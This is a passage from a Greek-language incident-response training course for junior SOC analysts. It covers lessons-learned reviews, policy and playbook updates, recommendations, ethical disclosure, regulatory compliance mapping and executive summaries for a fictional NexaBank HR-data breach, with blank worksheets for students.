3. Επόμενα βήματα

(Ενέργειες για τον μετριασμό ή την παρακολούθηση αυτών των κινδύνων.)

- Προσθήκη κινδύνων στο κεντρικό μητρώο
- Ορίστε υπεύθυνους και προθεσμίες
- Παρακολούθηση της προόδου της μείωσης των κινδύνων στην μηνιαία ανασκόπηση ασφάλειας

Υπενθύμιση για τους μαθητές:

- Οι κίνδυνοι πρέπει να είναι **συγκεκριμένοι, να βασίζονται σε στοιχεία και να επιδέχονται δράση**.
- Μην αναφέρετε απλώς «αδύναμη ασφάλεια» — περιγράψτε την **πραγματική αδυναμία** (π.χ. «Δεν υπάρχει MFA στους λογαριασμούς διαχειριστή»).
- Μια καλή καταχώριση έχει πάντα μια **σαφή πορεία αντιμετώπισης**.

5.4 Εργαστήριο «Διδάγματα» – Ανασκόπηση του συμβάντος ως ομάδα

Σενάριο

Μόλις το περιστατικό περιοριστεί και καταγραφεί, το SOC δεν προχωρά απλώς στο επόμενο βήμα — διοργανώνει ένα **εργαστήριο «Διδάγματα»** με όλους τους σχετικούς ενδιαφερόμενους.
Ο στόχος: να προσδιοριστεί **τι λειτούργησε, τι απέτυχε και τι πρέπει να αλλάξει** σε τεχνικό, ανθρώπινο και οργανωτικό επίπεδο.

Βήμα 1: Συγκέντρωση των κατάλληλων ατόμων

Σε ένα πραγματικό περιβάλλον, αυτή η ανασκόπηση δεν αφορά μόνο το τμήμα IT. Περιλαμβάνει:

- **Αναλυτές SOC και υπεύθυνους αντιμετώπισης συμβάντων** → Ποια μέτρα ανίχνευσης και αντίδρασης λειτούργησαν;
- **Λειτουργίες IT** → Η περιορισμός και η αποκατάσταση πραγματοποιήθηκαν ομαλά;
- **Τμήμα Ανθρώπινου Δυναμικού** → Εάν εμπλέκονταν εσωτερικοί κίνδυνοι ή συσκευές υπαλλήλων.
- **Νομικό τμήμα/Τμήμα συμμόρφωσης** → Υποβολή εκθέσεων προς τις ρυθμιστικές αρχές, διαχείριση αποδεικτικών στοιχείων.
- **Στελέχη/Διοίκηση** → Αντίκτυπος σε επίπεδο επιχείρησης και διάθεση ανάληψης

κινδύνου. Παράδειγμα (NexaBank):

- SOC: Η ταξινόμηση των ειδοποιήσεων ήταν γρήγορη, αλλά δεν υπήρχε εγχειρίδιο για την εξάτμιση δεδομένων από τη βάση δεδομένων.
- Λειτουργίες IT: Η απομόνωση του διακομιστή προκάλεσε 45 λεπτά διακοπής λειτουργίας — η επιχείρηση δεν ήταν προετοιμασμένη.
- Νομικό τμήμα: Αβεβαιότητα σχετικά με το αν η έκθεση δεδομένων του τμήματος HR επιβάλλει υποχρεωτική αναφορά.

Βήμα 2: Δομή της ανασκόπησης

Ο συντονιστής θα πρέπει να καθοδηγήσει τη συζήτηση χρησιμοποιώντας μια **απλή σειρά ερωτήσεων**:

1. Τι πήγε καλά;
2. Τι δεν πήγε καλά;
3. Τι πρέπει να κάνουμε διαφορετικά την επόμενη φορά;

4. Ποιες ενέργειες μπορούμε να αναλάβουμε αμέσως;

Βήμα 3: Καταγράψτε τα δυνατά σημεία

Καταγράψτε τις επιτυχίες που αξίζει να

επαναληφθούν. Παράδειγμα:

- Το SIEM εντόπισε ύποπτη σύνδεση μέσα σε 2 λεπτά.
- Το SOC προώθησε το θέμα σε ανώτερο αναλυτή σε λιγότερο από 10 λεπτά.
- Τα αρχεία καταγραφής διατηρήθηκαν σωστά → καμία απώλεια αποδεικτικών στοιχείων.

Βήμα 4: Καταγράψτε τα αδύνατα

σημεία Καταγράψτε τις αποτυχίες, τα

κενά ή τις καθυστερήσεις. Παράδειγμα:

- Δεν υπάρχει MFA σε λογαριασμούς με προνόμια.
- Δεν υπάρχει σαφές εγχειρίδιο για την «διαρροή δεδομένων μέσω FTP».
- Καθυστερήσεις στην επικοινωνία μεταξύ του SOC και της νομικής ομάδας.

Βήμα 5: Ανάθεση δράσεων

Μετατρέψτε τα διδάγματα σε **μετρήσιμες βελτιώσεις**.

Διαπίστωση	**Δράση**	**Υπεύθυνος**	**Προθεσμία**
Χωρίς MFA για τους διαχειριστές	Εφαρμογή MFA εντός 30 ημερών	Ασφάλεια IT	30 ημέρες
Λείπει ο οδηγός	Σύνταξη οδηγού IR για «Διαρροή δεδομένων»	Υπεύθυνος SOC	45
ημέρες			
Νομική αβεβαιότητα	Διευκρίνιση των κανονιστικών υποχρεώσεων με τη βοήθεια νομικού συμβούλου	Νομικά	14
ημέρες			

Βήμα 6: Παραδοτέο

- Υποβολή **περίληψης διδαγμάτων** (2–3 σελίδες).

- Πρέπει να περιλαμβάνει:
    - Βασικά πλεονεκτήματα (τι λειτούργησε)
    - Αδυναμίες (τι απέτυχε)
    - Δράσεις με υπεύθυνους/προθεσμίες

Σημείο ελέγχου: Ενότητα 5.4

Πριν προχωρήσετε, βεβαιωθείτε ότι:

- Έχετε προσκαλέσει όλους τους σχετικούς ενδιαφερόμενους.
- Καταγράψατε τουλάχιστον **3 πλεονεκτήματα** και **3 αδυναμίες**.
- Μετατρέψατε **τα** αδύνατα **σημεία** σε **συγκεκριμένες ενέργειες**.
- Υποβάλατε τη σύνοψη των διδαγμάτων που αντλήθηκαν.

Εργαστήριο διδαγμάτων – Ανασκόπηση μετά το συμβάν

Αριθμός υπόθεσης: _____

Τίτλος συμβάντος: _____

Ημερομηνία ανασκόπησης: _____

Διαμεσολαβητής: _____

Συμμετέχοντες (Ομάδες/Ονόματα): _____

1. Γενικές παρατηρήσεις

Σημειώσεις ελεύθερου κειμένου σχετικά με την εξέλιξη του συμβάντος και τυχόν άμεσες σκέψεις.

_____

_____

_____

2. Πλεονεκτήματα – Τι λειτούργησε καλά

(Αναφέρετε τουλάχιστον 3 παραδείγματα αποτελεσματικής ανίχνευσης, περιορισμού, επικοινωνίας ή αποκατάστασης.)

Περιοχή	**Τι λειτούργησε καλά**
Ανίχνευση	_____
Περιορισμός	_____
Εξάλειψη	_____
Αποκατάσταση	_____
Επικοινωνία	_____

3. Αδυναμίες – Τι απέτυχε ή μας καθυστέρησε

(Αναφέρετε τουλάχιστον 3 ζητήματα που προκάλεσαν καθυστερήσεις, λάθη ή κινδύνους.)

Τομέας	Τι χρειάζεται βελτίωση
Ανίχνευση	_____
Περιορισμός	_____
Εξάλειψη	_____
Αποκατάσταση	_____
Επικοινωνία	_____

4. Δράσεις

Συγκεκριμένα μέτρα για την αντιμετώπιση των αδυναμιών και την ενίσχυση των πλεονεκτημάτων.

Δράση	Υπεύθυνος	Προθεσμία	Προτεραιότητα (Υ/Μ/Χ)
_____	_____	_____	_____
_____	_____	_____	_____

5. Περίληψη διδαγμάτων

(Γράψτε μια σύντομη περιγραφή των βασικών συμπερασμάτων από το περιστατικό.)

_____

_____

Υπενθύμιση για τους μαθητές:

- Να είστε **συγκεκριμένοι** (π.χ. «έλλειψη MFA στους διαχειριστές») και όχι ασαφείς («αδύναμοι έλεγχοι πρόσβασης»).
- Κάθε αδυναμία πρέπει να αντιστοιχεί σε τουλάχιστον **μία δράση**.
- Ορίστε **υπεύθυνους + προθεσμίες** — διαφορετικά, το ίδιο πρόβλημα ενδέχεται να επανεμφανιστεί.

5.5 Ενημερώσεις του εγχειριδίου πολιτικών – Μετατρέποντας τα διδάγματα σε δράση

Σενάριο

Το εργαστήριο «Διδάγματα» αποκάλυψε τόσο τα πλεονεκτήματα όσο και τις αδυναμίες. Τώρα είναι η ώρα να **επισημοποιήσετε τις βελτιώσεις** ενημερώνοντας:

- **Πολιτικές** → κανόνες υψηλού επιπέδου (π.χ. «Όλοι οι λογαριασμοί διαχειριστή πρέπει να χρησιμοποιούν MFA»)
- **Εγχειρίδια** → αναλυτικοί οδηγοί λειτουργίας για το SOC (π.χ. «Λίστα ελέγχου αντίδρασης σε διαρροή δεδομένων»).

Βήμα 1: Προσδιορισμός κενών στις πολιτικές

Οι πολιτικές καθορίζουν *τι πρέπει να γίνει*. Αναζητήστε τομείς όπου οι κανόνες ήταν ασαφείς, ξεπερασμένοι ή απουσίαζαν.

Παράδειγμα (NexaBank):

- Κενό στην πολιτική: Δεν υπάρχει απαίτηση για MFA σε λογαριασμούς με προνόμια.
- Ενημέρωση πολιτικής: «Όλοι οι λογαριασμοί με προνόμια και απομακρυσμένη πρόσβαση πρέπει να εφαρμόζουν MFA εντός 30 ημερών».

Βήμα 2: Εντοπίστε κενά στα εγχειρίδια

Τα εγχειρίδια καθορίζουν *τον τρόπο εκτέλεσης*. Αναζητήστε περιπτώσεις όπου οι υπεύθυνοι ανταπόκρισης δεν είχαν οδηγίες ή οι οδηγίες ήταν ξεπερασμένες.

Παράδειγμα (NexaBank):

- Κενό στο εγχειρίδιο: Δεν υπάρχει διαδικασία για την αντιμετώπιση μεγάλων εξερχόμενων μεταφορών αρχείων.
- Ενημέρωση εγχειριδίου: Προσθήκη λίστας ελέγχου **«Αντιμετώπιση διαρροής δεδομένων»**:
    - Βήμα 1: Επιβεβαίωση της ανώμαλης κυκλοφορίας με ερώτημα SIEM
    - Βήμα 2: Απομόνωση του επηρεαζόμενου διακομιστή
    - Βήμα 3: Ειδοποίηση του υπεύθυνου SOC + Νομικό τμήμα
    - Βήμα 4: Συλλογή των αρχείων που έχουν υποκλαπεί για σκοπούς εγκληματολογικής έρευνας

Βήμα 3: Ενημερώσεις τεκμηρίωσης

Κάθε ενημέρωση πρέπει να περιλαμβάνει:

- Την τρέχουσα έκδοση της πολιτικής/του εγχειριδίου
- Προσδιορισμένο πρόβλημα
- Προτεινόμενη αλλαγή
- Υπεύθυνο (υπεύθυνο άτομο/ομάδα)
- Προθεσμία εφαρμογής

Βήμα 4: Άσκηση – Σχέδια ενημερώσεων

Οι εκπαιδευόμενοι πρέπει να συντάξουν τουλάχιστον **1 πρόταση ενημέρωσης πολιτικής** και **1 πρόταση ενημέρωσης εγχειριδίου**.

Τύπος	**Τρέχουσα έκδοση**	**Προσδιορισμένο ζήτημα**	**Προτεινόμενη ενημέρωση**	**Υπεύθυνος**
Προθεσμία Πολιτική				
	Εγχειρίδιο			

Βήμα 5: Παραδοτέο

- Υποβάλετε ένα **σημείωμα ενημέρωσης για το εγχειρίδιο πολιτικής** (2–3 σελίδες).
- Πρέπει να περιλαμβάνει:
    - Τουλάχιστον **1 ενημέρωση πολιτικής**
    - Τουλάχιστον **1 ενημέρωση του εγχειριδίου**
    - Αιτιολόγηση για κάθε ενημέρωση
    - Υπεύθυνο + προθεσμία

Σημείο ελέγχου: Ενότητα 5.5

Πριν προχωρήσετε, βεβαιωθείτε ότι:

- Έχετε εντοπίσει τουλάχιστον ένα κενό στην πολιτική και ένα κενό στο εγχειρίδιο.

- Έχετε προτείνει σαφείς ενημερώσεις που καλύπτουν αυτά τα κενά.
- Έχετε ορίσει υπεύθυνους και προθεσμίες για την εφαρμογή.
- Έχετε υποβάλει ένα σημείωμα ενημέρωσης για την πολιτική C και το εγχειρίδιο.

Φύλλο εργασίας ενημέρωσης πολιτικής και εγχειριδίου – Βελτιώσεις μετά το περιστατικό

Αριθμός υπόθεσης: _____

Τίτλος συμβάντος: _____

Ημερομηνία ενημέρωσης: _____

Συντάχθηκε από: _____

1. Ενημερώσεις πολιτικής

Καταγραφή αλλαγών σε **κανόνες υψηλού επιπέδου**.

Τομέας πολιτικής	Τρέχουσα πολιτική	Εντοπισμένο ζήτημα	Προτεινόμενη Προθεσμία	Υπεύθυνος Ενημέρωση	Απαιτείται έγκριση (Ν/Ο)
_____	_____	_____	_____	_____	[ ] Ν [ ] Ο
_____	_____	_____	_____	_____	[ ] Ν [ ] Ο

2. Ενημερώσεις εγχειριδίου

Καταγράψτε τις ενημερώσεις στις **αναλυτικές διαδικασίες SOC**.

Βήμα εγχειριδίου	Τρέχουσα διαδικασία	Προτεινόμενη ενημέρωση	Υπεύθυνος	Προθεσμία
_____	_____	_____	_____	_____
_____	_____	_____	_____	_____

3. Νέοι έλεγχοι ή κανόνες

Αναφέρετε τυχόν πρόσθετα τεχνικά/λειτουργικά μέτρα που πρέπει να προστεθούν.

Τύπος ελέγχου	Περιγραφή	Υπεύθυνος	Προθεσμία
Κανόνας SIEM	_____		

Τύπος ελέγχου	Περιγραφή	Ιδιοκτήτης	Προθεσμία
Κανόνας τείχους προστασίας		_____	
_____	Πολιτική λογαριασμού _____		

4. Περίληψη βελτιώσεων

Γράψτε μια σύντομη περιγραφή που να συνοψίζει τις βασικές ενημερώσεις.

Υπενθύμιση για τους μαθητές:

- **Πολιτικές = τι πρέπει να γίνει.**
- **Οδηγίες = πώς να το κάνετε.**
- Οι ενημερώσεις πρέπει να είναι **συγκεκριμένες, εφαρμόσιμες και να ανατίθενται σε έναν υπεύθυνο με προθεσμία.**

5.6 Συστάσεις – Δημιουργία μιας ισχυρότερης στάσης ασφάλειας

Σενάριο

Αφού καταγραφούν η βασική αιτία, ο αντίκτυπος, οι κίνδυνοι, τα διδάγματα και οι ενημερώσεις πολιτικών/οδηγιών , το τελικό βήμα είναι η διατύπωση **προοπτικών συστάσεων**.
Αυτές δεν περιορίζονται στην επίλυση *αυτού* του συμβάντος — ενισχύουν **τη** συνολική **ωριμότητα** και ανθεκτικότητα της NexaBank **στον τομέα της ασφάλειας**.

Βήμα 1: Προσδιορισμός τομέων προτεραιότητας

Οι συστάσεις πρέπει να καλύπτουν τρεις κύριες κατηγορίες:

1. **Τεχνικοί έλεγχοι** – εργαλεία ασφάλειας, παρακολούθηση, διαμορφώσεις.
2. **Βελτιώσεις διαδικασιών** – ροές εργασίας, ωριμότητα ανταπόκρισης σε περιστατικά.
3. **Εκπαίδευση προσωπικού** – ευαισθητοποίηση χρηστών, εκπαίδευση SOC, συντονισμός μεταξύ ομάδων.

Βήμα 2: Σύνταξη συγκεκριμένων συστάσεων

Παράδειγμα (NexaBank):

- **Τεχνικά** → Εφαρμογή MFA σε όλους τους λογαριασμούς με προνόμια· ενεργοποίηση παρακολούθησης DLP (Data Loss Prevention) στην εξερχόμενη κίνηση.
- **Διαδικασίες** → Καθιέρωση τριμηνιαίων ασκήσεων IR playbook· ενσωμάτωση του Νομικού Τμήματος στη ροή εργασιών κλιμάκωσης.
- **Προσωπικό** → Διεξαγωγή προγράμματος προσομοίωσης phishing· παροχή εκπαίδευσης στους αναλυτές SOC σε προηγμένες τεχνικές ανάλυσης αρχείων καταγραφής.

Βήμα 3: Προτεραιοποίηση

Δεν είναι δυνατό να εφαρμοστούν όλες οι συστάσεις ταυτόχρονα. Ταξινόμηση κατά:

- **Υψηλή** → Κρίσιμες διορθώσεις, άμεσες (MFA, εφαρμογή ενημερώσεων, ενημερώσεις κανόνων τείχους προστασίας).
- **Μεσαία** → Σημαντικές αλλά λιγότερο επείγουσες (εκπαίδευση προσωπικού, τριμηνιαίες ασκήσεις προσομοίωσης).

- **Χαμηλή** → Μακροπρόθεσμες ή εξαρτώμενες από πόρους (νέο module SIEM, ανίχνευση με μηχανική μάθηση).

Βήμα 4: Άσκηση – Σύνταξη 3–5 συστάσεων

Οι μαθητές πρέπει να προτείνουν τουλάχιστον **μία ανά κατηγορία** (τεχνική, διαδικασία, άτομα).

Σύσταση	**Κατηγορία**	**Προτεραιότητα (Υ/Μ/Χ)**	**Υπεύθυνος**	**Προθεσμία**
_____	Τεχνική	_____	_____	
_____	Διαδικασία	_____	_____	
_____	Άτομα	_____	_____	
_____	(Προαιρετικό)	_____	_____	

Βήμα 5: Παραδοτέο

- Υποβάλετε μια **Τελική Έκθεση Συστάσεων** (3–5 δράσεις κατά προτεραιότητα).
- Πρέπει να περιλαμβάνει:
    - Τουλάχιστον μία τεχνική, μία διαδικαστική και μία σύσταση με επίκεντρο τους ανθρώπους.
    - Κατάταξη κατά προτεραιότητα.
    - Ανατεθέντες υπεύθυνους και προθεσμίες.

Σημείο ελέγχου: Ενότητα 5.6

Πριν προχωρήσετε, βεβαιωθείτε ότι:

- Έχετε συντάξει τουλάχιστον 3 συστάσεις (τεχνική, διαδικαστική, ανθρώπινη).
- Έχετε ιεραρχήσει τις συστάσεις (Υ/Μ/Χ).
- Έχετε ορίσει υπεύθυνους και προθεσμίες.
- Έχετε υποβάλει την τελική έκθεση συστάσεων

Φύλλο εργασίας τελικών προτάσεων – Βελτιώσεις μετά το συμβάν

Αριθμός υπόθεσης: _____

Τίτλος περιστατικού: _____

Ημερομηνία σύνταξης: _____

Συντάκτης: _____

1. Πίνακας συστάσεων

Σύσταση	Κατηγορία	Προτεραιότητα (Υ/Μ/Χ)	Υπεύθυνος	Προθεσμία	Σημειώσεις
_____	Τεχνική	_____	_____	_____	_____
_____	διαδικασία	_____	_____	_____	_____
_____	Άτομα	_____	_____	_____	_____
_____	(Προαιρετικό)	_____	_____	_____	_____

2. Αιτιολόγηση για κάθε σύσταση

(Εξηγήστε γιατί είναι απαραίτητη κάθε σύσταση, συνδέοντάς την με τα ευρήματα από την Ανάλυση των Βασικών Αιτίων, την Αξιολόγηση των Επιπτώσεων και τα Διδάγματα.)

- **Σύσταση 1:** _____
- **Σύσταση 2:** _____
- **Σύσταση 3:** _____
- **Σύσταση 4 (Προαιρετική):** _____

3. Αναμενόμενα αποτελέσματα

(Περιγράψτε πώς η εφαρμογή αυτών των συστάσεων θα βελτιώσει την ανθεκτικότητα της ασφάλειας.)

---

4. Σχέδιο παρακολούθησης

- Παρουσιάστε τις συστάσεις στην ηγεσία
- Προσθήκη των συστάσεων στον οδικό χάρτη ασφάλειας
- Ελέγξτε την κατάσταση εφαρμογής σε σημεία ελέγχου 30/60/90 ημερών

Φάση 6: Ηθική, στρατηγική και παρουσίαση

6.1 Ηθικές ευθύνες στην αντιμετώπιση περιστατικών

Γιατί η ηθική έχει σημασία

Η ανταπόκριση σε περιστατικά δεν αφορά μόνο την αποτροπή της επίθεσης — αφορά **το να κάνουμε το σωστό** για τους πελάτες, τους υπαλλήλους, τις ρυθμιστικές αρχές και το κοινό.
Ως Junior Analyst, δεν θα αποφασίζετε για νομικές ενέργειες, αλλά **πρέπει να αναγνωρίζετε πότε προκύπτουν ηθικά και νομικά ζητήματα** και να τα αναφέρετε κατάλληλα.

Βήμα 1: Θέστε το βασικό ερώτημα

Εκτέθηκαν ευαίσθητα δεδομένα;

- **Ναι** → αυτό μπορεί να ενεργοποιήσει υποχρεώσεις γνωστοποίησης (προς πελάτες, ρυθμιστικές αρχές ή αρχές επιβολής του νόμου).
- **Όχι** → συνεχίστε την παρακολούθηση, αλλά καταγράψτε τι *θα μπορούσε να έχει εκτεθεί*.

Παράδειγμα (Υπόθεση NexaBank):

- Λογαριασμός που παραβιάστηκε: dbadmin
- Δεδομένα στα οποία έγινε πρόσβαση: αρχεία υπαλλήλων του τμήματος ανθρώπινου δυναμικού
- Ηθικές επιπτώσεις: Οι υπάλληλοι πρέπει να ενημερωθούν ότι τα προσωπικά τους δεδομένα (PII) εκτέθηκαν.

Βήμα 2: Προσδιορίστε ποιοι πρέπει να ενημερωθούν

Εάν επιβεβαιωθεί ή υπάρχει υποψία έκθεσης, το SOC πρέπει να ενημερώσει την ηγεσία. Οι πιθανοί ενδιαφερόμενοι περιλαμβάνουν:

- **Νομικός σύμβουλος** → για την ερμηνεία των κανονισμών.
- **Ρυθμιστικές αρχές** → GDPR, PCI DSS, SOX, HIPAA, FFIEC κ.λπ.
- **Πληγέντες πελάτες ή εργαζόμενοι** → των οποίων τα δεδομένα εκτέθηκαν.
- **Αρχές επιβολής του νόμου** → εάν παραβιάστηκαν νόμοι ή είναι σαφής η εγκληματική δραστηριότητα.

Βήμα 3: Ηθικές ευθύνες των αναλυτών SOC

Ως νεαρός αναλυτής, οι ευθύνες σας είναι οι εξής:

- Να καταγράψετε **τι επηρεάστηκε** (συστήματα, αρχεία, λογαριασμοί).
- Να επισημάνετε **πιθανές απαιτήσεις συμμόρφωσης** στην αναφορά σας.
- Να αναφέρετε το θέμα στις **νομικές και εκτελεστικές ομάδες** — μην λαμβάνετε μόνοι σας την τελική απόφαση για την αποκάλυψη.
- Να διασφαλίζετε **την ακρίβεια και την ειλικρίνεια** στις αναφορές — *μην υποβαθμίζετε ποτέ τα γεγονότα και μην τα συγκαλύπτετε*.

Βήμα 4: Άσκηση ηθικών σεναρίων

Οι μαθητές αναλύουν δείγματα σεναρίων και αποφασίζουν τι πρέπει να γνωστοποιηθεί.

Σενάριο	**Σχετικά δεδομένα**	**Ηθική αντίδραση**
Αρχεία HR που αντιγράφηκαν από τον εισβολέα	Προσωπικά δεδομένα υπαλλήλου	Ειδοποίηση τμήματος Ανθρώπινου Δυναμικού + Νομικού, πιθανή γνωστοποίηση στους υπαλλήλους
Εντοπίστηκε κακόβουλο λογισμικό σε έναν τελικό σημείο, χωρίς διαρροή	Τοπικό αρχεία	Καταγραφή, αλλά δεν απαιτείται γνωστοποίηση σταθμών εργασίας, εκτός αν αποδειχθεί έκθεση
Διαρροή αρχείων καταγραφής συναλλαγών πελατών	Οικονομικά δεδομένα	Ειδοποίηση Νομικού Τμήματος + Τμήματος Συμμόρφωσης, απαιτείται γνωστοποίηση προς τους πελάτες και τις ρυθμιστικές αρχές

Βήμα 5: Παραδοτέο

- **Φύλλο εργασίας ηθικής γνωστοποίησης**: Έγγραφο:
    - Δεδομένα που ενδέχεται να έχουν εκτεθεί
    - Ποιος επηρεάστηκε
    - Ποιος πρέπει να ενημερωθεί
    - Εάν η γνωστοποίηση απαιτείται νομικά ή συνιστάται από ηθική άποψη

Φύλλο εργασίας για την ηθική γνωστοποίηση – Πρότυπο

Αριθμός υπόθεσης: _____
Τίτλος περιστατικού: _____
Ημερομηνία σύνταξης: _____
Αναλυτής: _____

1. Δεδομένα που ενδέχεται να έχουν εκτεθεί

---

2. Επηρεαζόμενοι ενδιαφερόμενοι (υπάλληλοι, πελάτες, συνεργάτες)

---

3. Απαιτούμενες κοινοποιήσεις (επιλέξτε όλα όσα ισχύουν)

- Εσωτερικά: Στελέχη, Νομικό Τμήμα, Τμήμα Ανθρώπινου Δυναμικού
- Πελάτες ή υπάλληλοι
- Ρυθμιστικές αρχές (GDPR, PCI DSS, HIPAA κ.λπ.)
- Αρχές επιβολής του νόμου
- Άλλα: _____

4. Σημειώσεις σχετικά με την ηθική

(Γιατί απαιτείται η γνωστοποίηση ή γιατί μπορεί να είναι ηθικά σκόπιμη, ακόμη και αν δεν απαιτείται από το νόμο.)

6.2 Συμμόρφωση και υποβολή εκθέσεων προς τις ρυθμιστικές αρχές

Γιατί αυτό έχει σημασία

Όταν εκτίθενται ευαίσθητα δεδομένα, οι οργανισμοί ενδέχεται να αντιμετωπίσουν **νομικές και κανονιστικές υποχρεώσεις**.
Η συμμόρφωση δεν είναι προαιρετική — η μη ενημέρωση των ρυθμιστικών αρχών ή των πελατών μπορεί να οδηγήσει σε **πρόστιμα, αγωγές και απώλεια εμπιστοσύνης**.

Ως αναλυτής SOC, δεν συντάσσετε τις νομικές καταθέσεις, αλλά πρέπει:

- **Να αναγνωρίζετε ποιες κανονιστικές διατάξεις ενδέχεται να ισχύουν.**
- **Να τεκμηριώνετε με σαφήνεια τα ευρήματα των περιστατικών,** ώστε οι ομάδες Νομικών/Συμμόρφωσης να μπορούν να αναλάβουν δράση.

Βήμα 1: Προσδιορισμός των εφαρμοστέων κανονισμών

Η NexaBank, ως χρηματοπιστωτικό ίδρυμα, ενδέχεται να υπάγεται σε διάφορα πλαίσια, ανάλογα με **τον τύπο των δεδομένων** και **τη δικαιοδοσία**:

- **GDPR** → Δεδομένα πελατών ή υπαλλήλων της Ευρώπης
- **PCI DSS** → Δεδομένα καρτών πληρωμής που υποβάλλονται σε επεξεργασία ή αποθηκεύονται
- **SOX** → Απαιτήσεις χρηματοοικονομικής αναφοράς και εσωτερικού ελέγχου
- **HIPAA** → Δεδομένα σχετικά με την υγεία (εάν υπάρχουν σε συστήματα ανθρώπινου δυναμικού ή ασφαλιστικά συστήματα)
- **FFIEC** → Πρότυπα εποπτείας τραπεζών των ΗΠΑ

Παράδειγμα (Περίπτωση NexaBank):

- Δημοσιοποίηση δεδομένων υπαλλήλων από το τμήμα ανθρώπινου δυναμικού → πιθανή ενεργοποίηση του GDPR (προσωπικό της ΕΕ) και των νόμων περί απορρήτου σε επίπεδο πολιτείας.
- Τα οικονομικά αρχεία των πελατών είναι ασφαλή → δεν ενεργοποιείται το PCI DSS.

Βήμα 2: Σύνδεση της έκθεσης δεδομένων με τη νομοθεσία

Χρησιμοποιήστε μια **προσέγγιση αντιστοίχισης**: ποιος τύπος δεδομένων παραβιάστηκε και ποιος κανονισμός ισχύει;

Τύπος δεδομένων	Πιθανές κανονιστικές διατάξεις	Υποχρέωση αναφοράς
Προσωπικά δεδομένα υπαλλήλων (προσωπικό της ΕΕ)	ΓΚΠΔ	Πρέπει να ενημερωθεί η ρυθμιστική αρχή + τα επηρεαζόμενα άτομα εντός 72 ωρών
Δεδομένα καρτών πληρωμής ενδεχομένως	PCI DSS	Πρέπει να ενημερωθεί η τράπεζα απόκτησης + τους κατόχους καρτών
Τραπεζικά δεδομένα πελατών	FFIEC, SOX	Ενδέχεται να απαιτείται ενημέρωση της ρυθμιστικής αρχής, αναφορά στο διοικητικό συμβούλιο
Δεδομένα υγείας/ασφάλισης	HIPAA	Πρέπει να ενημερωθεί το HHS + τα επηρεαζόμενα άτομα αναφορά

Βήμα 3: Εξετάστε τις απαιτήσεις αναφοράς

Οι κανονισμοί διαφέρουν, αλλά οι τυπικές υποχρεώσεις περιλαμβάνουν:

- **Ποιον να ειδοποιήσετε** → ρυθμιστική αρχή, πελάτες, αρχές επιβολής του νόμου.
- **Πότε πρέπει να ενημερωθούν** → π.χ., ο ΓΚΠΔ απαιτεί εντός 72 ωρών.
- **Τι πρέπει να περιλαμβάνεται** → περιγραφή της παραβίασης, δεδομένα που επηρεάστηκαν, μέτρα μετριασμού.

Βήμα 4: Άσκηση – Πίνακας χαρτογράφησης συμμόρφωσης

Οι μαθητές συμπληρώνουν τον πίνακα με βάση τα ευρήματά τους σχετικά με το περιστατικό.

Δεδομένα που έχουν παραβιαστεί	Ενεργοποίηση κανονισμού	Προθεσμία κοινοποίησης	Φορέας αναφοράς

Βήμα 5: Παραδοτέο

- Υποβολή **πίνακα αντιστοίχισης συμμόρφωσης** για το περιστατικό.
- Πρέπει να περιλαμβάνει:

- Τουλάχιστον 2 τύπους δεδομένων που έχουν ελεγχθεί
- Τον κανονισμό που ενεργοποιήθηκε (εάν υπάρχει)
- Απαιτήσεις κοινοποίησης (προθεσμία + σε ποιον πρέπει να γίνει κοινοποίηση)

Φύλλο εργασίας χαρτογράφησης συμμόρφωσης – Πρότυπο

Αριθμός υπόθεσης: _____
Τίτλος συμβάντος: _____
Ημερομηνία σύνταξης: _____
Αναλυτής: _____

1. Δεδομένα που έχουν παραβιαστεί

2. Κανονισμοί που ενδέχεται να ενεργοποιηθούν

(Επιλέξτε όλα όσα ισχύουν)

- GDPR
- PCI DSS
- SOX
- HIPAA
- FFIEC
- Άλλα: _____

3. Πίνακας αντιστοίχισης συμμόρφωσης

Διαρροή δεδομένων	Ενεργοποίηση κανονισμού	Προθεσμία ειδοποίησης	Υπεύθυνη οντότητα

4. Σημειώσεις για την ομάδα νομικών/συμμόρφωσης

6.3 Σύνταξη συνοπτικής έκθεσης – Επικοινωνία με την ηγεσία

Γιατί είναι σημαντικό

Τα στελέχη και τα μέλη του διοικητικού συμβουλίου πρέπει να κατανοήσουν τι συνέβη κατά τη διάρκεια ενός συμβάντος, αλλά δεν επιθυμούν (και συχνά δεν μπορούν να επεξεργαστούν) σελίδες γεμάτες τεχνική ορολογία.

Μια καλή **περίληψη**:

- Χωράει σε **μία σελίδα**
- Χρησιμοποιεί **απλή επιχειρηματική γλώσσα**
- Καλύπτει μόνο τα πιο **κρίσιμα γεγονότα και συστάσεις**

Αυτό το έγγραφο μπορεί να επηρεάσει:

- **Την εμπιστοσύνη** → Είναι σίγουροι οι διευθυντές ότι το SOC έχει τον έλεγχο;
- **Αποφάσεις** → Θα διατεθούν πόροι για διορθώσεις;
- **Συμμόρφωση** → Αποδεικνύει ότι η διοίκηση ενημερώθηκε.

Βήμα 1: Βασικά στοιχεία μιας συνοπτικής παρουσίασης

Η περίληψή σας πρέπει να περιλαμβάνει πέντε στοιχεία:

1. **Τι συνέβη**
    - Σύντομη περιγραφή του συμβάντος.
    - Παράδειγμα: *«Στις 12 Απριλίου, στις 02:41 UTC, πραγματοποιήθηκε μη εξουσιοδοτημένη σύνδεση στη βάση δεδομένων του τμήματος Ανθρώπινου Δυναμικού, με αποτέλεσμα τη διαρροή αρχείων υπαλλήλων».*
2. **Πώς περιορίστηκε**
    - Κύριες ενέργειες αντιμετώπισης.
    - Παράδειγμα: *«Ο λογαριασμός dbadmin απενεργοποιήθηκε, ο επηρεαζόμενος διακομιστής απομονώθηκε και η εξερχόμενη κίνηση αποκλείστηκε.»*
3. **Τι επηρεάστηκε**
    - Συστήματα, δεδομένα και χρήστες.

- Παράδειγμα: *«Πρόσβαση σε προσωπικά δεδομένα 214 εργαζομένων· δεν επηρεάστηκαν δεδομένα πελατών ή πληρωμών».*

4. **Κανονιστικές απαιτήσεις/απαιτήσεις γνωστοποίησης**
    - Σημειώστε εάν ενδέχεται να απαιτείται αναφορά.
    - Παράδειγμα: *«Πιθανή υποχρέωση γνωστοποίησης βάσει του ΓΚΠΔ (επηρεάστηκαν υπάλληλοι της ΕΕ).»*
5. **Οι 3 κορυφαίες συστάσεις**
    - Σαφείς και ιεραρχημένες.
    - Παράδειγμα: *«(1) Εφαρμογή πολυπαραγοντικής ταυτότητας (MFA) σε όλους τους λογαριασμούς με δικαιώματα. (2) Ενημέρωση του οδηγού αντιμετώπισης περιστατικών για διαρροή δεδομένων. (3) Διοργάνωση εκπαίδευσης ευαισθητοποίησης των εργαζομένων.»*

Βήμα 2: Τόνος και ύφος

